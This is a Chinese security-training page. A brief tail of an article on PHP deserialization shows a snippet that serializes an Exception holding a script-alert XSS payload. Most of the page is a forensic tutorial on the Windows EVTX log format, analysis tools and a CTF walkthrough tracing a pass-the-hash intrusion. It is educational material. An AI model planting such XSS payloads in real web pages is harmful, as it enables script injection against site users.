与SoapClient一样,是属于PHP原生类
漏洞成因:php 的原生类中的Error 和Exception 中内置了toString 方法, 可能造成xss漏洞
<?php$s = new Exception("<script>alert(1)</script>");echo urlencode(serialize($s));?>
总结
除了上面这些,还可以和sql注入,命令执行等结合,这里就不再一一赘述,php反序列化漏洞的利用,其实是与xss,sql注入等十分相似的,都是一种闭合-构造,以改变原本代码结构进而达到漏洞利用的目的的思路
Windows 取证之EVTX日志
0x0、概述
evtx文件是微软从 Windows NT 6.0(Windows Vista 和 Server 2008) 开始采用的一种全新的日志文件格式。在此之前的格式是 evt 。evtx由Windows事件查看器创建,包含Windows记录的事件列表,以专有的二进制XML格式保存。
0x1、EVTX文件结构
evtx文件主要由三部分组成:
file header (文件头)
chunks (数据块)
trailing empty values (尾部填充空值)
File Header(文件头):
文件头长度为4KB(4096bytes),其结构如下:
偏移长度(Bytes)值描述0x008"ElfFile\x00"标志位/签名0x088
第一个区块编号(存在时间最久的区块编号)0x108
当前区块编号(块的编号从0开始)0x188
下一条事件记录的ID0x204128文件头有效部分的大小0x2421次要版本0x2623主要版本0x2824096文件头的大小0x2A2
区块的数量0x2C76
未知 (空值)0x784
文件标志0x7C4
文件头前 120 bytes 的CRC32校验和0x803968
未知 (空值)
我们可以使用Hex编辑器打开一个evtx文件查看一下:
Chunk(块):
每个块的大小是 65536 bytes(64KB),主要由三部分组成:
chunk header 块头
array of event records 事件记录组
unused space 未使用的空间
chunk头长度为512bytes,其结构如下:
偏移长度(Bytes)值描述0x008"ElfChnk\x00"标志位/签名0x088
基于日志编号的第一条日志记录的ID0x108
基于日志编号的最后一条日志记录的ID0x188
基于文件编号的第一条日志记录的ID0x208
基于文件编号的最后一条日志记录的ID0x284128chunk头大小0x2C4
最后一条日志记录的偏移量(相对于块头的起始偏移量)0x304
下一条日志记录的偏移量(相对于块头的起始偏移量)0x344
事件记录数据的 CRC32 校验和0x3864
Unknown (空值)0x784
Unknown (flags?)0x7C4
块头CRC32校验和(块头前120个字节和128至512字节的数据的CRC32校验和)
Event record(事件记录):
事件记录的长度非固定长度,其结构如下:
偏移长度(Bytes)值描述0x004"\x2a\x2a\x00\x00"标志位/签名0x044
事件记录的长度0x088
记录ID0x108
日志记录的写入时间(FILETIME)0x18不确定
基于二进制XML编码的信息不确定4
记录长度(副本)
由上面的信息,可知evtx日志文件包含一个4KB的文件头加后面一定数量的64KB大小的块,一个块中记录一定数量(大约100条)的事件记录。每个块是独立的,不受其他块影响。不会出现一条事件记录的数据存在于两个块中。每条记录包含一个基于二进制XML编码的信息。每条事件记录包含其创建时间与事件 ID(可以用于确定事件的种类),因此可以反映某个特定的时间发生的特定的操作,取证人员可以根据日志文件来发现犯罪的过程。
evtx日志文件大概的结构如下所示:
在windows事件查看器中查看:
0x2、EVTX文件的存储
Windows事件日志文件保存在%SystemRoot%\System32\Winevt\Logs路径中。
常见日志文件主要有三个,分别是:System.evtx 、Application.evtx 和Security.evtx。分别是系统日志、应用程序日志和安全日志。
System.evtx
记录操作系统自身组件产生的日志事件,比如驱动、系统组件和应用软件的崩溃以及数据丢失错误等等。
Application.evtx
记录应用程序或系统程序运行方面的日志事件,比如数据库程序可以在应用程序日志中记录文件错误,应用的崩溃记录等。
Security.evtx
记录系统的安全审计日志事件,比如登录事件、对象访问、进程追踪、特权调用、帐号管理、策略变更等。Security.evtx也是取证中最常用到的。
默认情况下,当一个evtx文件的记录满了,日志服务会覆盖最开始的记录,从头开始写入新的记录。也就是相当于一个循环记录的缓存文件。
0x3、Evtx日志分析
Windows 用 Event ID来标识事件的不同含义,拿Security日志来说,一些常见的Event ID 如下:
事件ID描述4608Windows 启动4609Windows 关机4616系统时间发生更改4624用户成功登录到计算机4625登录失败。使用未知用户名或密码错误的已知用户名尝试登录。4634用户注销完成4647用户启动了注销过程4648用户在以其他用户身份登录时,使用显式凭据成功登录到计算机4703令牌权限调整4704分配了用户权限4720已创建用户账户4725账户被禁用4768请求Kerberos身份验证票证(TGT)4769请求Kerberos服务票证4770已续订Kerberos服务票证4779用户在未注销的情况下断开了终端服务器会话
1、通过Windows事件查看器分析日志
通过Windows事件查看器可以查看当前主机的事件日志,也可以打开保存的 evtx文件。
可以通过点击、筛选、查找等多种方式查看事件日志
筛选器提供了丰富的筛选方式:
2、通过工具分析Evtx
Log Parser
Log Parser(是微软公司自己开发的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它使用类似 SQL 语句一样查询分析这些数据,还可以把分析结果以图表的形式展现出来。
Log Parser下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659
使用方法:
logparser -i:输入文件的格式 -o:输出文件的格式 "查询语句 和文件路径"
例子:
查询登录成功的事件:
LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM E:\Security.evtx where EventID=4624"
还有其他的语法,具体可以查看其帮助信息
>LogParser.exeMicrosoft (R) Log Parser Version 2.2.10Copyright (C) 2004 Microsoft Corporation. All rights reserved.Usage: LogParser [-i:<input_format>] [-o:<output_format>] <SQL query> | file:<query_filename>[?param1=value1+...] [<input_format_options>] [<output_f
Log Parser Studio
logparser的GUI版本。
下载地址:https://techcommunity.microsoft.com/t5/exchange-team-blog/log-parser-studio-2-0-is-now-available/ba-p/593266
其界面如下:
Event Log Explorer
Event Log Explorer 是一个非常好用的Windows 日志分析工具,下载地址:https://eventlogxp.com/
LogParser Lizard
LogParser Lizard 是一个功能丰富的Windows 日志分析软件,可以通过类似SQL查询语句对日志筛选查询进行分析。
下载地址:https://lizard-labs.com/log_parser_lizard.aspx
Evtx Explorer/EvtxECmd
具有标准化CSV、XML和json输出的事件日志(Evtx)解析器!
下载地址:https://ericzimmerman.github.io/#!index.md
使用方法:
EvtxECmd.exe -f 日志文件 --xml 输出路径
解析的xml文件结构如下:
0x4、Evtx取证实战
题目来源:Cynet应急响应挑战赛
描述:GOT Ltd 的人力资源主管King-Slayer认为他的电脑上有可疑活动。
2020 年 2 月 8 日,15:00 左右,他发现桌面上出现了一个带有 kiwi标志的文件。据他描述,该文件首次出现在他的桌面后不久就突然消失了。那天晚些时候,他开始收到消息告诉他需要重新激活 Windows Defender。他激活了 Windows Defender,几个小时后又收到了同样的消息。
他决定将这件事告诉他在 IT 部门的朋友——Chris。Chris立即将此事报告给了 GOT 的网络安全部门。
该公司的 CISO 立即打电话求助我们,GOT有限公司总部设在瑞士,CISO 向我们发送了来自 King-Slayer的 PC 和域控制器的所有事件日志文件。他希望我们查出异常:
提示:
用户帐户 (KingSlayer) 是他电脑上的本地管理员。
域名 -> GOT.Com
DC 服务器名称 -> WIN-IL7M7CC6UVU
Jaime(King Slayer)的主机名->DESKTOP-HUB666E(172.16.44.135)
提交攻击者使用的域用户帐户(King-Slayer除外)以及他使用此用户帐户访问的主机的IP地址。
我们拿到的文件包括DC服务的日志和主机日志文件:
给出的文件还有一个提示就是PassTheHash ,表明攻击者使用了该技术。
传递哈希是一种黑客技术,它允许攻击者使用用户密码的基础NTLM或LanMan哈希对远程服务器或服务进行身份验证,而不是像通常情况下那样要求使用关联的明文密码。它取代了仅窃取哈希值并使用该哈希值进行身份验证而窃取明文密码的需要。--via 维基百科
通过日志交叉比对和筛选查找,我们确定了在2020-2-9 21:59左右,有异常登录行为
注意:Windows EVTX 的FILETIME 是 UTC时间,注意转化为瑞士当地时间。
我们发现用户Daenerys在2020年2月9日21:59 (当地时间15:59)通过SMB协议登录到WIN-IL7M7CC6UVU(域控制器),而且使用了PSExec.exe 利用Deanerys用户登录了域控服务器。攻击者可能使用了Mimikatz拿到了Daenerys用户的哈希,然后用于横向移动渗透到DC。
参考资料
https://github.com/williballenthin/python-evtxWindows EVTX日志恢复与取证技术研究 https://xuewen.cnki.net/CMFD-1018252760.nh.html
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

